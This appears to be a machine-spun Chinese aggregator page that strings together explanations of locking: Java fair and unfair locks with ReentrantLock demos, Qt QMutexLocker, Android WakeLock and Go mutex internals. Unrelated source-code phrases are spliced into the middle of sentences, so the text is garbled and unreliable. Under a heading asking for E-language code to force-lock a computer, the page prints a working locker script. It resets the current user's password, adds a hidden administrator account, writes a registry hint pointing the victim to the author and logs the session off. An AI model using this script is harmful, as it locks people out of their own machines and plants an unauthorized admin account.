1.面试突击46:公平锁和非公平锁有什么区别?
2.Qt互斥锁(QMutex)的程序使用、QMutexLocker的锁源使用(含源码+注释)
3.aide锁机源码大全有那些
4.锁机源码怎么用
5.谁有易语言强制锁电脑的源码
6.android wake_lock 锁源码分析
面试突击46:公平锁和非公平锁有什么区别?
从公平的角度来说,Java 中的码程锁总共可分为两类:公平锁和非公平锁。但公平锁和非公平锁有哪些区别?孰优孰劣呢?在 Java 中的序锁应用场景又有哪些呢?接下来我们一起来看。正文公平锁:每个线程获取锁的程序顺序是按照线程访问锁的先后顺序获取的,最前面的锁源飞马大厅源码线程总是最先获取到锁。 非公平锁:每个线程获取锁的码程顺序是随机的,并不会遵循先来先得的序锁规则,所有线程会竞争获取锁。程序 举个例子,锁源公平锁就像开车经过收费站一样,码程所有的序锁车都会排队等待通过,先来的程序车先通过,如下图所示:
通过收费站的锁源顺序也是先来先到,分别是码程张三、李四、王五,这种情况就是公平锁。 而非公平锁相当于,来了一个强行加塞的老司机,它不会准守排队规则,来了之后就会试图强行加塞,如果加塞成功就顺利通过,当然也有可能加塞失败,如果失败就乖乖去后面排队,这种情况就是非公平锁。
应用场景在 Java 语言中,锁 synchronized 和 ReentrantLock 默认都是非公平锁,当然我们在创建 ReentrantLock 时,可以手动指定其为公平锁,生日快乐网页源码但 synchronized 只能为非公平锁。 ReentrantLock 默认为非公平锁可以在它的源码实现中得到验证,如下源码所示:当使用 new ReentrantLock(true) 时,可以创建公平锁,如下源码所示:
公平和非公平锁代码演示接下来我们使用 ReentrantLock 来演示一下公平锁和非公平锁的执行差异,首先定义一个公平锁,开启 3 个线程,每个线程执行两次加锁和释放锁并打印线程名的操作,如下代码所示:
import?java.util.concurrent.locks.Lock;import?java.util.concurrent.locks.ReentrantLock;public?class?ReentrantLockFairTest?{ static?Lock?lock?=?new?ReentrantLock(true);public?static?void?main(String[]?args)?throws?InterruptedException?{ for?(int?i?=?0;?i?<?3;?i++)?{ new?Thread(()?->?{ for?(int?j?=?0;?j?<?2;?j++)?{ lock.lock();System.out.println("当前线程:"?+?Thread.currentThread().getName());lock.unlock();}}).start();}}}以上程序的执行结果如下图所示:接下来我们使用非公平锁来执行上面的代码,具体实现如下:
import?java.util.concurrent.locks.Lock;import?java.util.concurrent.locks.ReentrantLock;public?class?ReentrantLockFairTest?{ static?Lock?lock?=?new?ReentrantLock();public?static?void?main(String[]?args)?throws?InterruptedException?{ for?(int?i?=?0;?i?<?3;?i++)?{ new?Thread(()?->?{ for?(int?j?=?0;?j?<?2;?j++)?{ lock.lock();System.out.println("当前线程:"?+?Thread.currentThread().getName());lock.unlock();}}).start();}}}以上程序的执行结果如下图所示:从上述结果可以看出,使用公平锁线程获取锁的顺序是:A -> B -> C -> A -> B -> C,也就是按顺序获取锁。而非公平锁,获取锁的顺序是 A -> A -> B -> B -> C -> C,原因是所有线程都争抢锁时,因为当前执行线程处于活跃状态,其他线程属于等待状态(还需要被唤醒),所以当前线程总是会先获取到锁,所以最终获取锁的顺序是:A -> A -> B -> B -> C -> C。
执行流程分析公平锁执行流程获取锁时,先将线程自己添加到等待队列的队尾并休眠,当某线程用完锁之后,会去唤醒等待队列中队首的线程尝试去获取锁,锁的使用顺序也就是队列中的先后顺序,在整个过程中,线程会从运行状态切换到休眠状态,再从休眠状态恢复成运行状态,但线程每次休眠和恢复都需要从用户态转换成内核态,而这个状态的十幅图源码转换是比较慢的,所以公平锁的执行速度会比较慢。
非公平锁执行流程当线程获取锁时,会先通过 CAS 尝试获取锁,如果获取成功就直接拥有锁,如果获取锁失败才会进入等待队列,等待下次尝试获取锁。这样做的好处是,获取锁不用遵循先到先得的规则,从而避免了线程休眠和恢复的操作,这样就加速了程序的执行效率。 公平锁和非公平锁的性能测试结果如下,以下测试数据来自于《Java并发编程实战》:
从上述结果可以看出,使用非公平锁的吞吐率(单位时间内成功获取锁的平均速率)要比公平锁高很多。
优缺点分析公平锁的优点是按序平均分配锁资源,不会出现线程饿死的情况,它的缺点是按序唤醒线程的开销大,执行性能不高。 非公平锁的优点是执行效率高,谁先获取到锁,锁就属于谁,不会“按资排辈”以及顺序唤醒,但缺点是资源分配随机性强,可能会出现线程饿死的情况。
总结在 Java 语言中,锁的默认实现都是非公平锁,原因是非公平锁的效率更高,使用 ReentrantLock 可以手动指定其为公平锁。非公平锁注重的是性能,而公平锁注重的淘宝客单页面源码是锁资源的平均分配,所以我们要选择合适的场景来应用二者。
是非审之于己,毁誉听之于人,得失安之于数。
公众号:Java面试真题解析
面试合集:/post/
Qt互斥锁(QMutex)的使用、QMutexLocker的使用(含源码+注释)
Qt中的互斥锁(QMutex)和QMutexLocker是为了解决多线程并发控制中的同步问题。QMutexLocker是一种封装了QMutex的便捷工具,用于自动管理锁的获取和释放,降低了在复杂程序中出错的风险。
QMutex在使用时需要手动进行锁定和解锁操作,但这种繁琐的过程容易导致忘记或错误操作。为简化这一过程,QMutexLocker被设计为局部变量,创建时传入一个QMutex指针并自动锁定,释放时自动解锁。这种设计使得代码更简洁,不易出错。
通过对比使用QMutex和QMutexLocker的代码,可以看出QMutexLocker省去了显式的锁定和解锁操作。例如,CMoveFuncClass使用QMutexLocker确保了在跨线程操作中的互斥性,而CThread则直接使用QMutex,但需要手动进行同步。在CMainWindow中,使用QMutexLocker的线程能确保互斥执行,另一个线程则在前一个线程完成后运行,证实了QMutexLocker的有效性。
总的来说,QMutexLocker为多线程编程提供了便利,tomcat7i源码减少了因忘记锁定或解锁带来的潜在问题。但在某些场景,如多线程循环输出,可能需要更精确的控制,此时QMutex可能更为合适。因此,选择使用QMutex或QMutexLocker应根据具体的需求和线程结构来决定。
aide锁机源码大全有那些
源码就是指编写的最原始程序的代码。运行的软件是要经过编写的,程序员编写程序的过程中需要他们的“语言”。音乐家用五线谱,建筑师用图纸,那程序员的工作的语言就是“源码”了。
人们平时使用软件时就是程序把“源码”翻译成我们可直观的形式表现出来供我们使用的。
锁机源码怎么用
下个VC++6.0 或者vs 以上的c/c++编译器
打开那个后缀为.cpp的文件
然后编译运行连接 vc6中按ctrl+F5 vs中 先按F7 再按F5
就会产生.exe的可执行程序了.
谁有易语言强制锁电脑的源码
.版本 2
.支持库 shell
.子程序 __启动窗口_创建完毕
.局部变量 用户名, 文本型
.局部变量 密码, 文本型
用户名 = “想知道密码联系” ' 这里设置你的用户名,中间不要加任何标点符号.
密码 = “” ' 这里设置密码
运行 (“net user ” + 读环境变量 (“username”) + “ ” + 密码, 假, ) ' 先把原密码改掉
运行 (“net user ” + 用户名 + “ ” + 密码 + “ /add”, 假, ) ' 添加一个用户
运行 (“net localgroup administrators ” + 用户名 + “ /add”, 假, ) ' 把这个用户添加的超级管理员组中
写注册项 (4, “SOFTWARE\Microsoft\Windows\CurrentVersion\Hints\” + 用户名, 用户名) ' 这里是后面显示那个帮助提示.
关闭系统 (3, 真) ' 注销系统帐号,桌面返回到登陆界面.
结束 ()
android wake_lock 锁源码分析
在Android系统中,WakeLock锁被广泛用于保持设备唤醒,避免进入休眠状态,以满足应用程序持续运行的需求。本文从源码角度对WakeLock的基本流程原理进行深入分析。
WakeLock主要存在三种表现形式:
1. PowerManager.WakeLock:此接口由PMS提供给应用层和其它组件,用于申请WakeLock。
2. PowerManagerService.WakeLock:它是PowerManager.WakeLock在PMS内部的具体实现。
3. SuspendBlocker:在向底层节点操作时,PowerManagerService.WakeLock会转变为这种形式。
接下来,我们通过一个实例演示如何申请WakeLock锁。
在PowerManagerService中,会根据特定条件禁用部分WakeLock。这通常发生在:
1. 强制进入suspend状态。
2. 当WakeLock所属进程不处于active状态且进程adj大于PROCESS_STATE_RECEIVER。
3. 设备Idle处于IDLE状态,且所属进程不在doze白名单中。
当禁用条件满足时,mWakeLockSuspendBlocker会调用JNI方法nativeAcquireSuspendBlocker。
在power.c文件中,acquire_wake_lock的实现会将一个字符串数据写入指定的路径文件节点,新版本路径为“/sys/power/wake_lock”,旧版本为“/sys/android_power/acquire_partial_wake_lock”。至此,WakeLock锁的获取过程基本完成。释放过程与获取类似。
文章结束,感谢您的阅读。
深入解析 go 互斥锁 mutex 源码
互斥锁是并发控制的基石,用于避免多线程竞争带来的数据不一致性问题。以加法运算为例,若不使用互斥锁,多个线程同时执行加法操作可能导致数据覆盖,结果不准确。互斥锁(Mutex)确保在同一时刻只有一个线程访问共享资源。
在互斥锁的源码解析中,我们关注几个核心问题:饥饿问题、性能优化、锁的创建与操作。
互斥锁通常会经历几代优化,以提升性能与公平性。例如,当一个线程在等待获取锁时,系统可能选择将锁直接分配给等待时间最长的线程(饥饿模式),以确保所有线程都有机会访问共享资源。在正常模式下,锁的分配遵循先入先出的原则,以提升性能。这些模式的选择和切换依赖于互斥锁内部的状态。
互斥锁的实现涉及位运算,如位与(&)、位或(|)、位异或(^)等操作。这些位操作用于管理锁的状态,如判断锁是否被持有、锁是否处于饥饿状态等。
在使用互斥锁时,需要注意几个常见错误:锁重入、锁拷贝和死锁。锁重入允许同一线程多次获取同一锁,无需阻塞。锁拷贝则涉及锁的复制,需确保复制时不破坏锁的状态。死锁是由于线程间循环等待资源而导致的僵局,需通过合理设计避免。
在并发编程中,正确使用互斥锁至关重要,需遵循“谁申请,谁释放”的原则,避免锁的不当释放导致的不可预期行为。对于更高级的锁机制,如自旋锁、阻塞锁和排他锁,它们在并发控制中发挥着不同的作用,提供了不同程度的性能优化和安全保证。
此外,信号量(semaphore)是一种常见的同步工具,用于协调并发操作。它提供了类似于互斥锁的功能,但允许更细粒度的控制,如允许多个读锁而只允许一个写锁。信号量的实现通常依赖于系统调用,如Linux的futex,或在Go中使用专门的同步库。
总体而言,互斥锁是并发编程中不可或缺的工具,正确理解和使用它们能够有效管理并发问题,确保程序的正确性和稳定性。
java中的各种锁详细介绍
Java提供了多种锁以满足不同的并发需求,这些锁的特性各异,适用于不同的场景。本文旨在概述锁的源码(JDK 8版本),并举例说明使用场景,帮助读者理解锁的知识点以及不同锁的适用情况。接下来,我们将按照以下结构进行分类介绍:乐观锁 vs 悲观锁、自旋锁 vs 适应性自旋锁、无锁 vs 偏向锁 vs 轻量级锁 vs 重量级锁、公平锁 vs 非公平锁、可重入锁 vs 非可重入锁、独享锁 vs 共享锁。乐观锁 vs 悲观锁
乐观锁与悲观锁基于对并发操作的预设不同。悲观锁假设并发操作中一定会出现数据修改,因此在获取数据时会先加锁,以防止数据被修改。在Java中,synchronized关键字和Lock接口的实现类多采用悲观锁策略。相反,乐观锁假设并发操作中不会修改数据,只在尝试修改数据时检查数据是否已被修改,若数据未被修改则成功完成操作,否则根据情况采取不同的策略。自旋锁 vs 适应性自旋锁
自旋锁是一种在无需阻塞线程的情况下,通过循环检查条件来尝试获取锁的机制。当锁长时间未被释放时,自旋锁会导致线程持续消耗处理器资源,因此引入了适应性自旋锁。适应性自旋锁会根据前一次自旋等待的时间和锁的持有者状态来决定是否继续自旋或立即阻塞线程。无锁 vs 偏向锁 vs 轻量级锁 vs 重量级锁
锁的状态从无锁升级到重量级锁,主要依据锁的竞争情况和锁的状态。无锁允许所有线程同时访问资源,但只有一个线程能修改成功。偏向锁是为单线程操作而优化的锁,可以避免不必要的锁操作。轻量级锁在偏向锁被其他线程尝试访问时升级,通过自旋和CAS操作尝试获取锁。重量级锁则在多线程竞争时,通过阻塞等待线程来获取锁。公平锁 vs 非公平锁
公平锁按照申请锁的顺序为线程分配锁,确保等待的线程不会饿死,但可能降低整体吞吐效率。非公平锁则直接尝试获取锁,可能导致后申请锁的线程先获取到锁,从而提高吞吐效率,但存在饿死等待线程的风险。可重入锁 vs 非可重入锁
可重入锁允许线程在嵌套调用时重复获取同一锁,避免死锁。非可重入锁不允许重复获取同一锁,可能导致死锁情况。独享锁 vs 共享锁
独享锁一次只能被一个线程持有,允许多线程同时读取数据但不允许写操作。共享锁则允许多个线程同时读取数据,但不允许写操作,以提高并发读取效率。通过以上分类介绍,我们可以更直观地理解Java中锁的特性和适用场景。不同锁的设计旨在解决特定的并发问题,选择合适的锁类型可以显著提升程序的性能和稳定性。
2024-12-25 14:18
2024-12-25 14:03
2024-12-25 13:45
2024-12-25 13:14
2024-12-25 13:09
2024-12-25 13:08
2024-12-25 12:40
2024-12-25 11:54